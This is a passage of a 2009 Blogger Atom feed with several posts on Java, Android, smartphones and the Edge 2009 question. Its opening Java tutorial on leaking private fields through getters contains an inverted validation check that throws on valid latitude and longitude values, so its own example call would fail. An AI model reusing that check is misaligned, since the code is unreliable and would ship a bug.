/&gt;&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: 'courier new';"&gt;public class InformationHiding {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   private Position position;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   public InformationHiding(double latitude, double longitude)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      throws IllegalArgumentException {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      //make sure you have proper values for latitude and longitude&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      if (latitude &amp;gt;= -90 &amp;amp;&amp;amp; latitude &amp;lt;=90 &amp;amp;&amp;amp; longitude &amp;gt;= -180 &amp;amp;&amp;amp; longitude &amp;lt;= 180) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;         throw new IllegalArgumentException();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      position = new Position(latitude, longitude);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   public Position getPosition() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;      return position;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Can you spot the problem with this code (beside the lack of synchronization)? Let's see how we can break the check for proper values of latitude and longitude:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: 'courier new';"&gt;InformationHiding inf = new InformationHiding(45, 120);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;Position pos = inf.getPosition();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;pos.latitude = -100; //illegal value&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;pos.longitude = 240; //illegal value&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;How can that be? We did make the position data member private? The problem is that we returned a reference to that member. This is a common mistake. Even when you generate the getter method from inside our IDE (i.e. Eclipse), it returns a reference to the attribute, rather than a copy to it. How can we fix this? Easy, just return a copy of the data member:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;&lt;span style="font-family: 'courier new';"&gt;public Position getPosition() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;   return new Position(position.latitude, position.longitude);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;That's it! You could have used the clone method to make a copy of the object, but then some changes need to be made, like not implementing clone by using the constructor.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There are some cases when we do not need to return a copy of the data, namely when we deal with immutable objects (like Strings and the wrapper classes).&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1219621828926051926?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1219621828926051926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1219621828926051926' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1219621828926051926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1219621828926051926'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/03/breaking-information-hiding-in-java.html' title='Breaking information hiding in Java'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2848228188464419918</id><published>2009-03-19T07:33:00.004-04:00</published><updated>2009-11-13T11:40:27.755-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Android 1.1 and iPhone 3.0</title><content type='html'>&lt;div style="text-align: justify;"&gt;If you want a feature-by-feature comparison of Android and iPhone, read the &lt;a href="http://lifehacker.com/5173441/android-versus-iphone-30-the-showdown"&gt;Android Versus iPhone 3.0&lt;/a&gt; article by lifehacker. Do remember that Android is only in its 1.1 release, while iPhone has seen its 3.0 version. Even though iPhone has more available features, let us not forget that Android is open source.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2848228188464419918?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2848228188464419918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2848228188464419918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2848228188464419918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2848228188464419918'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/03/android-11-and-iphone-30.html' title='Android 1.1 and iPhone 3.0'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4245996643514440853</id><published>2009-03-15T09:57:00.006-04:00</published><updated>2009-11-13T11:40:41.927-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Smartphones'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Smartphone sales numbers</title><content type='html'>&lt;div style="text-align: justify;"&gt;According to a &lt;a href="http://www.gartner.com/it/page.jsp?id=910112"&gt;Gartner&lt;/a&gt;&lt;a href="http://www.gartner.com/it/page.jsp?id=910112"&gt; report&lt;/a&gt;, smartphones sales grow by almost 14% compared to 2007. What is encouraging are the news regarding Android-based smartphones:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"&lt;span lang="EN-US"&gt;Sales of Linux-based smartphones were up by 19 per cent year-over-year, mainly through Android-based smartphones being available through T-Mobile during the fourth quarter of 2008.&lt;/span&gt;"&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I expect this number to grow with upcoming Android-based smartphone models.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4245996643514440853?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4245996643514440853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4245996643514440853' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4245996643514440853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4245996643514440853'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/03/smartphone-sale-numbers.html' title='Smartphone sales numbers'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-1810042748564784071</id><published>2009-02-12T21:47:00.006-05:00</published><updated>2009-11-13T11:40:57.156-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Top 25 Most Dangerous Programming Errors</title><content type='html'>&lt;div style="text-align: justify;"&gt;SANS Institute came out with a &lt;a href="http://www.sans.org/top25errors/"&gt;top 25 most dangerous programming errors&lt;/a&gt;, errors which can lead to serious security breaches.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;"... experts from more than 30 US and international cyber security organizations jointly released the consensus list of the 25 most dangerous programming errors that lead to security bugs and that enable cyber espionage and cyber crime. Shockingly, most of these errors are not well understood by programmers; their avoidance is not widely taught by computer science programs; and their presence is frequently not tested by organizations developing software for sale."&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-1810042748564784071?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/1810042748564784071/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=1810042748564784071' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1810042748564784071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/1810042748564784071'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/02/top-25-most-dangerous-programming.html' title='Top 25 Most Dangerous Programming Errors'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-7340405324068245200</id><published>2009-02-10T20:17:00.004-05:00</published><updated>2009-11-13T11:41:09.487-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Android Presentation</title><content type='html'>&lt;div style="text-align: justify;"&gt;Today I did a presentation to a group of students on Android, basically an overview of the platform. If you are interested, you can find the presentation &lt;a href="http://www.scribd.com/doc/12105468/Android-An-Overview"&gt;here&lt;/a&gt;. Any comments are welcomed!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-7340405324068245200?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/7340405324068245200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=7340405324068245200' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7340405324068245200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/7340405324068245200'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/02/android-presentation.html' title='Android Presentation'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-707938183191795550</id><published>2009-01-22T08:15:00.022-05:00</published><updated>2009-11-13T11:41:22.410-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='Java Applets'/><category scheme='http://www.blogger.com/atom/ns#' term='Java ME'/><category scheme='http://www.blogger.com/atom/ns#' term='BOLT'/><title type='text'>BOLT - the Java-based Browser</title><content type='html'>&lt;div style="text-align: justify;"&gt;What intrigued me about &lt;a href="http://boltbrowser.com/index.html"&gt;BOLT&lt;/a&gt; (which is in a beta version at the moment of this writing) is the fact that it is written in Java (Java ME).  It is designed for entry-level phones (with MIDP 2.0 and CLDC 1.0 or higher), but certainly it runs just fine on smartphones too. It is considered to offer fast and secure web browsing. How secure? 128-bit SSL Connections, filtering done on the server to protect you from malicious code, certification error notifications, and pop-up blocker. How fast is it? Reports have mentioned that on a Nokia 6120 (which runs on the S60 platforms), BOLT loaded the phonearena.com website in 14 seconds, while the built-in browser loaded it in 40 seconds.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;BOLT provides ECMA Script 262 JavaScript support (asynchronous java script will work) , but does not currently offer support for Java Applets. Data reductions and lower power consumptions are also achieved.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If you are looking for screenshots (and further test results), head to &lt;a href="http://www.phonearena.com/htmls/readarticles.php?id=3827"&gt;phonearena&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-707938183191795550?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/707938183191795550/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=707938183191795550' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/707938183191795550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/707938183191795550'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/01/bolt-java-based-browser.html' title='BOLT - the Java-based Browser'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3095785006708018980</id><published>2009-01-22T08:00:00.004-05:00</published><updated>2009-11-13T11:41:35.951-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Motorola'/><category scheme='http://www.blogger.com/atom/ns#' term='Samsung'/><category scheme='http://www.blogger.com/atom/ns#' term='Nokia'/><category scheme='http://www.blogger.com/atom/ns#' term='LG'/><category scheme='http://www.blogger.com/atom/ns#' term='Cell Phone'/><category scheme='http://www.blogger.com/atom/ns#' term='Sony Ericsson'/><title type='text'>Top 5 Cellular Phone Producers for 2008</title><content type='html'>&lt;div style="text-align: justify;"&gt;Based on &lt;a href="http://www.phonearena.com/htmls/readarticles.php?id=3829"&gt;reports&lt;/a&gt; from PhoneArena, here is a list of the top 5 cellular phone producers in the global market for 2008:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Nokia - 470 million units sold.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Samsung - 200 million units sold.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;LG - 100 million units sold.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Motorola - 99.9 million units sold.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Sony Ericsson - 96.6 million units sold.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;I am still hoping Motorola will come through (eventually) and will revive its mobile devices unit. Until then, another 4000 jobs are expected to be lost (beside those 3000 from November of last year).&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3095785006708018980?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3095785006708018980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3095785006708018980' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3095785006708018980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3095785006708018980'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/01/top-5-cellular-phone-producers-for-2008.html' title='Top 5 Cellular Phone Producers for 2008'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5472678782779961079</id><published>2009-01-13T10:23:00.079-05:00</published><updated>2009-11-13T11:41:49.255-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Java ME'/><title type='text'>Related concepts from Android and Java ME</title><content type='html'>&lt;div style="text-align: justify;"&gt;I was thinking about the main components that provide the building blocks for your &lt;a href="http://www.android.com/"&gt;Android&lt;/a&gt; application, and on how they relate to similar concepts from the &lt;a href="http://java.sun.com/javame/index.jsp"&gt;Java Micro Edition&lt;/a&gt; (Java ME) platform:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Activity&lt;/span&gt;. Activities in Android are the presentation layer for the application you are building. For each screen you have, their will be a matching Activity. Similar to this concept, in Java ME you have Forms (and more general maybe Screens). An Activity uses Views to build the user interface; similarly, a Form uses different items such as text fields, data fields, choice groups, etc. Generally speaking, in Java ME, on a Screen (or on a displayable), you can place a Canvas, an Alert, a List, a TextBox, and finally a Form. All these elements are used to build the graphical user interface for displaying information to the user and interacting with him by responding to the user actions.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Services&lt;/span&gt;. Services are those components that run in the background, and which do not interact with the user. They can update your data sources and Activities, and trigger specific notifications. I tried to think of a similar component in Java ME, but could not come with one. The only concepts I could think of was Threads and Timers (a way for threads to schedule tasks for execution in a background thread). The concept of Threads exists separately in Android also, hence such a comparison is not quite precise. Until background MIDlets are available with the upcoming of MIDP 3, I guess we do not have any other options.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Content Providers&lt;/span&gt;. They encapsulate data and provide it to your application, therefor acting as &lt;span style="font-style: italic;"&gt;interfaces&lt;/span&gt; to the application databases. Sharing data across applications is achieved also by means of Content Providers. Such a concept is related to the RecordStores in Java ME, and more general, to the Record Management System (RMS - the persistent storage mechanism in Java ME).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Intents&lt;/span&gt;. Intents are a way of specifying what intentions you have in terms of a specific action being performed. Intents are mostly used for launching Activities. A similar concept in Java ME is described in the Broadcast Receivers section.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Broadcast Receivers&lt;/span&gt;. These components listen for broadcast Intents that match some defined filter criteria, and can automatically start your application as a response to an intent. Looking closely at the Intents and Broadcast Receivers components, for me, PushRegistry comes into mind. A PushRegistry is used to request a wakeup call from the implementation. What is important to understand about PushRegistry is the fact that they have a lifetime beyond that of a MIDlet. It is part of the MIDlet management software that runs on the device. When your MIDlet registers (at runtime or at install time) for push notifications, the device is obligated to listen incoming network connections and start your MIDlet if the appropriate connection has been made.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;Notifications&lt;/span&gt;. Notifications let you signal the user by alerting him of an incoming event, and without using a separate Activity to achieve that. For example, you are monitoring the weather, and you want to be notified when a hurricane warning is in effect for your area (common in South Florida where I leave). This can be accomplished by adding Notifications to your weather monitoring system. In Java ME, one similarity would be the use of Alerts that inform the user about different events.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In later posts, I will describe more similarities between the two platforms at different levels. Stay tuned!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5472678782779961079?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5472678782779961079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5472678782779961079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5472678782779961079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5472678782779961079'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/01/related-concepts-from-android-and-java.html' title='Related concepts from Android and Java ME'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-6870353249597287554</id><published>2009-01-06T10:21:00.055-05:00</published><updated>2009-11-13T11:42:31.063-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Emerging Technologies'/><category scheme='http://www.blogger.com/atom/ns#' term='Science'/><category scheme='http://www.blogger.com/atom/ns#' term='Edge'/><title type='text'>What will change everything?</title><content type='html'>&lt;div style="text-align: justify;"&gt;The &lt;a href="http://www.edge.org/q2009/q09_index.html"&gt;Edge annual question for 2009&lt;/a&gt;, "what will change everything?", is being posed by John Brockman to a community of thinkers. More precisely, "what game-changing scientific ideas and developments do you expect to live to see?". Below are part of some answers that I particularly found interesting (although you should read all of them!):&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Kevin Kelly, Editor-At-Large, Wired: "It is hard to imagine anything that would "change everything" as much as a cheap, powerful, ubiquitous artificial intelligence—the kind of synthetic mind that learns and improves itself."&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ed Regis, Science Writer: "The idea was that scientists and engineers would construct vast fleets of "assemblers," molecular-scale, programmable devices that would build objects of practically any arbitrary size and complexity, from the molecules up. Program the assemblers to put together an SUV, a sailboat, or a spacecraft, and they'd do it—automatically, and without human aid or intervention. Further, they'd do it using cheap, readily-available feedstock molecules as raw materials."&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Marc D. Hauser, Psychologist and Biologist, Harvard University: "Science fiction writers traffic in a world that tries on possible worlds.  What               if, as in the Hollywood blockbuster Minority Report, we could read people's               intentions before they act and thus preempt violence? An intentionality detector               would be a terrific device to have, but talk about ethical nightmares. " This is something that I also thought about when thinking about the question posed.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Marcelo Gleiser, Appleton Professor of Natural Philosophy, Dartmouth College, talks about mastering death through. "I can think of two ways in which mortality can be tamed. One at the cellular level and the other through an integration of body with genetic, cognitive sciences, and cyber technology."&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Freeman Dyson, Physicist, Institute of Advanced Studies: "I expect that genetics and molecular biology will be dominant for the next fifty years, and after that neurology will have its turn. Neurology will change the game of human life drastically, as soon as we develop the tools to observe and direct the activities of a human brain in detail from the outside". In a nutshell: direct communication between brain and brain.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Lawrence Krauss, Physicist, Director, Origins Initiative, Arizona State University: "The Use Of Nuclear Weapons Against A Civilian Population." To be honest, I doubt this will happen. Its implications are far too deep and serious.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Gregory Benford, Novelist, Co-founder &amp;amp; Chairman: "Live To 150." I second that!&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Richard Foreman, Founder Director, Ontological-Hysteric Theater; Playwright: "Nothing Will Change Everything." Pretty straight forward, isn't it?&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;... and many many more. Definitely worth reading!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-6870353249597287554?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/6870353249597287554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=6870353249597287554' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6870353249597287554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/6870353249597287554'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/01/what-will-chaneg-everything.html' title='What will change everything?'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4324067213703871675</id><published>2008-12-25T13:06:00.016-05:00</published><updated>2009-11-13T11:43:21.137-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Semantic Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Powerset'/><category 